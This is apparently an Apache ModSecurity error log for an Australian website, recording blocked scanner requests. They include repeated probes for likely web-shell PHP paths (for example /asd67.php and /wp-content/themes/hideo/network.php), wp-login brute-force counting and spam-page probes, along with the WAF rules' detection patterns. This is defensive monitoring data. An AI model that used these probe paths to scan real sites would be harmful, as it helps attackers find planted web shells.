[Sat Feb 07 09:24:39.972452 2026] [:error] [pid 50671:tid 50692] [client 74.248.113.199:39498] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aYaUV7vqLohWBI_mqBMfiQAAAAw"]
[Sat Feb 07 09:24:40.923033 2026] [:error] [pid 50780:tid 50800] [client 74.248.113.199:35382] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aYaUWOtUmIu2JHM2Crvm3wAAANI"]
[Sat Feb 07 09:24:41.642468 2026] [:error] [pid 50780:tid 50788] [client 74.248.113.199:35344] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aYaUWetUmIu2JHM2Crvm4AAAAMY"]
[Sat Feb 07 09:24:42.628796 2026] [:error] [pid 43182:tid 43206] [client 74.248.113.199:34671] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aYaUWvEC82JnxmrnFYkZ_QAAAVY"]
[Sat Feb 07 09:24:43.828805 2026] [:error] [pid 43182:tid 43200] [client 74.248.113.199:34677] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "aYaUW_EC82JnxmrnFYkaAgAAAVA"]
[Sat Feb 07 09:24:44.696310 2026] [:error] [pid 50780:tid 50795] [client 74.248.113.199:62409] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "aYaUXOtUmIu2JHM2Crvm5AAAAM0"]
[Sat Feb 07 09:24:45.477014 2026] [:error] [pid 50673:tid 50745] [client 74.248.113.199:35164] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "aYaUXWVwLsaZ7aKO2ck87QAAAIo"]
[Sat Feb 07 09:24:46.218358 2026] [:error] [pid 50780:tid 50794] [client 74.248.113.199:34681] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "aYaUXutUmIu2JHM2Crvm5gAAAMw"]
[Sat Feb 07 09:24:46.799615 2026] [:error] [pid 50672:tid 50709] [client 74.248.113.199:35304] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oivcl.php"] [unique_id "aYaUXg9o0jq1XS8Nv7O-7AAAAEE"]
[Sat Feb 07 09:24:47.594030 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:34360] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oivcl.php"] [unique_id "aYaUX_EC82JnxmrnFYkaBQAAAUY"]
[Sat Feb 07 09:24:48.520643 2026] [:error] [pid 50672:tid 50729] [client 74.248.113.199:35324] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oivcl.php"] [unique_id "aYaUYA9o0jq1XS8Nv7O-7QAAAFU"]
[Sat Feb 07 09:24:49.218122 2026] [:error] [pid 50780:tid 50784] [client 74.248.113.199:36237] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oivcl.php"] [unique_id "aYaUYetUmIu2JHM2Crvm5wAAAMI"]
[Sat Feb 07 09:24:49.848030 2026] [:error] [pid 43182:tid 43189] [client 74.248.113.199:35352] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYaUYfEC82JnxmrnFYkaBgAAAUU"]
[Sat Feb 07 09:24:50.660303 2026] [:error] [pid 43182:tid 43188] [client 74.248.113.199:35059] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYaUYvEC82JnxmrnFYkaCQAAAUQ"]
[Sat Feb 07 09:24:51.257200 2026] [:error] [pid 50673:tid 50738] [client 74.248.113.199:35380] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYaUY2VwLsaZ7aKO2ck88AAAAIM"]
[Sat Feb 07 09:24:51.854352 2026] [:error] [pid 50673:tid 50756] [client 74.248.113.199:34649] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYaUY2VwLsaZ7aKO2ck88QAAAJU"]
[Sat Feb 07 09:24:52.924489 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:34343] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/deeto/login.php"] [unique_id "aYaUZLvqLohWBI_mqBMfnAAAABE"]
[Sat Feb 07 09:24:53.720802 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:35882] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/deeto/login.php"] [unique_id "aYaUZfEC82JnxmrnFYkaDgAAAUo"]
[Sat Feb 07 09:24:54.803700 2026] [:error] [pid 50780:tid 50788] [client 74.248.113.199:36253] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/deeto/login.php"] [unique_id "aYaUZutUmIu2JHM2Crvm7QAAAMY"]
[Sat Feb 07 09:24:55.455778 2026] [:error] [pid 50673:tid 50749] [client 74.248.113.199:34680] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/deeto/login.php"] [unique_id "aYaUZ2VwLsaZ7aKO2ck89QAAAI4"]
[Sat Feb 07 09:24:56.476368 2026] [:error] [pid 50672:tid 50728] [client 74.248.113.199:35385] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYaUaA9o0jq1XS8Nv7O-9gAAAFQ"]
[Sat Feb 07 09:24:57.633191 2026] [:error] [pid 50780:tid 50797] [client 74.248.113.199:38529] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYaUaetUmIu2JHM2Crvm8gAAAM8"]
[Sat Feb 07 09:24:58.673625 2026] [:error] [pid 50672:tid 50715] [client 74.248.113.199:5301] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYaUag9o0jq1XS8Nv7O--gAAAEc"]
[Sat Feb 07 09:24:59.392751 2026] [:error] [pid 50672:tid 50731] [client 74.248.113.199:34258] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYaUaw9o0jq1XS8Nv7O-_QAAAFc"]
[Sat Feb 07 09:25:00.116156 2026] [:error] [pid 50672:tid 50732] [client 74.248.113.199:27440] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYaUbA9o0jq1XS8Nv7O-_gAAAFg"]
[Sat Feb 07 09:25:01.100912 2026] [:error] [pid 50671:tid 50681] [client 74.248.113.199:38020] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYaUbbvqLohWBI_mqBMfpwAAAAE"]
[Sat Feb 07 09:25:02.603168 2026] [:error] [pid 50671:tid 50686] [client 74.248.113.199:45330] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYaUbrvqLohWBI_mqBMfqQAAAAY"]
[Sat Feb 07 09:25:03.247922 2026] [:error] [pid 50671:tid 50696] [client 74.248.113.199:62457] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYaUb7vqLohWBI_mqBMfqgAAABA"]
[Sat Feb 07 09:25:04.175186 2026] [:error] [pid 50780:tid 50789] [client 74.248.113.199:34260] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYaUcOtUmIu2JHM2Crvm-AAAAMc"]
[Sat Feb 07 09:25:04.926460 2026] [:error] [pid 50780:tid 50800] [client 74.248.113.199:5256] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYaUcOtUmIu2JHM2Crvm-QAAANI"]
[Sat Feb 07 09:25:05.533236 2026] [:error] [pid 50780:tid 50787] [client 74.248.113.199:27424] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYaUcetUmIu2JHM2Crvm_AAAAMU"]
[Sat Feb 07 09:25:06.112654 2026] [:error] [pid 50780:tid 50791] [client 74.248.113.199:34853] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYaUcutUmIu2JHM2Crvm_gAAAMk"]
[Sat Feb 07 09:25:06.827720 2026] [:error] [pid 50780:tid 50786] [client 74.248.113.199:35354] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.cache/x.php"] [unique_id "aYaUcutUmIu2JHM2CrvnAAAAAMQ"]
[Sat Feb 07 09:25:07.387777 2026] [:error] [pid 50673:tid 50748] [client 74.248.113.199:38559] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.cache/x.php"] [unique_id "aYaUc2VwLsaZ7aKO2ck9AgAAAI0"]
[Sat Feb 07 09:25:08.047421 2026] [:error] [pid 50671:tid 50688] [client 74.248.113.199:35367] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.cache/x.php"] [unique_id "aYaUdLvqLohWBI_mqBMfsgAAAAg"]
[Sat Feb 07 09:25:08.786408 2026] [:error] [pid 50673:tid 50747] [client 74.248.113.199:39928] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.cache/x.php"] [unique_id "aYaUdGVwLsaZ7aKO2ck9BAAAAIw"]
[Sat Feb 07 09:25:12.353736 2026] [:error] [pid 50780:tid 50804] [client 74.248.113.199:34864] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aYaUeOtUmIu2JHM2CrvnBgAAANY"]
[Sat Feb 07 09:25:18.812594 2026] [:error] [pid 55157:tid 55163] [client 74.248.113.199:35055] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aYaUfn36JdtTn2bTEow0eQAAAQE"]
[Sat Feb 07 09:25:19.645075 2026] [:error] [pid 50780:tid 50794] [client 74.248.113.199:34684] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aYaUf-tUmIu2JHM2CrvnDAAAAMw"]
[Sat Feb 07 09:25:20.270451 2026] [:error] [pid 43182:tid 43184] [client 74.248.113.199:44680] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aYaUgPEC82JnxmrnFYkaNgAAAUA"]
[Sat Feb 07 09:25:21.256103 2026] [:error] [pid 50673:tid 50749] [client 74.248.113.199:27398] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aYaUgWVwLsaZ7aKO2ck9JwAAAI4"]
[Sat Feb 07 09:25:21.919724 2026] [:error] [pid 50673:tid 50759] [client 74.248.113.199:35823] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/content.php"] [unique_id "aYaUgWVwLsaZ7aKO2ck9LwAAAJg"]
[Sat Feb 07 09:25:23.154979 2026] [:error] [pid 43182:tid 43204] [client 74.248.113.199:55682] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/content.php"] [unique_id "aYaUg_EC82JnxmrnFYkadQAAAVQ"]
[Sat Feb 07 09:25:24.205234 2026] [:error] [pid 50780:tid 50784] [client 74.248.113.199:44715] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/content.php"] [unique_id "aYaUhOtUmIu2JHM2CrvnEAAAAMI"]
[Sat Feb 07 09:25:25.848465 2026] [:error] [pid 50672:tid 50717] [client 74.248.113.199:34344] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/content.php"] [unique_id "aYaUhQ9o0jq1XS8Nv7O_IwAAAEk"]
[Sat Feb 07 09:25:26.977724 2026] [:error] [pid 50673:tid 50737] [client 74.248.113.199:44713] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lufix.php"] [unique_id "aYaUhmVwLsaZ7aKO2ck9NAAAAII"]
[Sat Feb 07 09:25:27.737079 2026] [:error] [pid 50671:tid 50689] [client 74.248.113.199:35342] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lufix.php"] [unique_id "aYaUh7vqLohWBI_mqBMfzAAAAAk"]
[Sat Feb 07 09:25:29.330712 2026] [:error] [pid 50673:tid 50755] [client 74.248.113.199:34104] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lufix.php"] [unique_id "aYaUiWVwLsaZ7aKO2ck9NQAAAJQ"]
[Sat Feb 07 09:25:31.736007 2026] [:error] [pid 55157:tid 55175] [client 74.248.113.199:45349] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lufix.php"] [unique_id "aYaUi336JdtTn2bTEow0pAAAAQ0"]
[Sat Feb 07 11:49:25.401195 2026] [:error] [pid 50673:tid 50745] [client 134.209.144.179:60511] [client 134.209.144.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.144.179, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYa2RWVwLsaZ7aKO2clp_wAAAIo"]
[Sat Feb 07 11:49:26.289678 2026] [:error] [pid 50673:tid 50759] [client 134.209.144.179:60576] [client 134.209.144.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.144.179, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYa2RmVwLsaZ7aKO2clqAAAAAJg"]
[Sat Feb 07 12:17:24.781133 2026] [:error] [pid 55157:tid 55181] [client 170.106.65.93:52032] [client 170.106.65.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYa81H36JdtTn2bTEoxZGQAAARM"]
[Sat Feb 07 14:23:26.752328 2026] [:error] [pid 50672:tid 50726] [client 65.108.2.171:11222] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYbaXg9o0jq1XS8Nv7P4oAAAAFI"]
[Sat Feb 07 14:23:29.185630 2026] [:error] [pid 50780:tid 50789] [client 65.108.2.171:11224] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYbaYetUmIu2JHM2Crs5SgAAAMc"]
[Sat Feb 07 14:23:31.762456 2026] [:error] [pid 58058:tid 58083] [client 65.108.2.171:11226] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYbaY7z-Qlvs65S4DP_BqAAAAZY"]
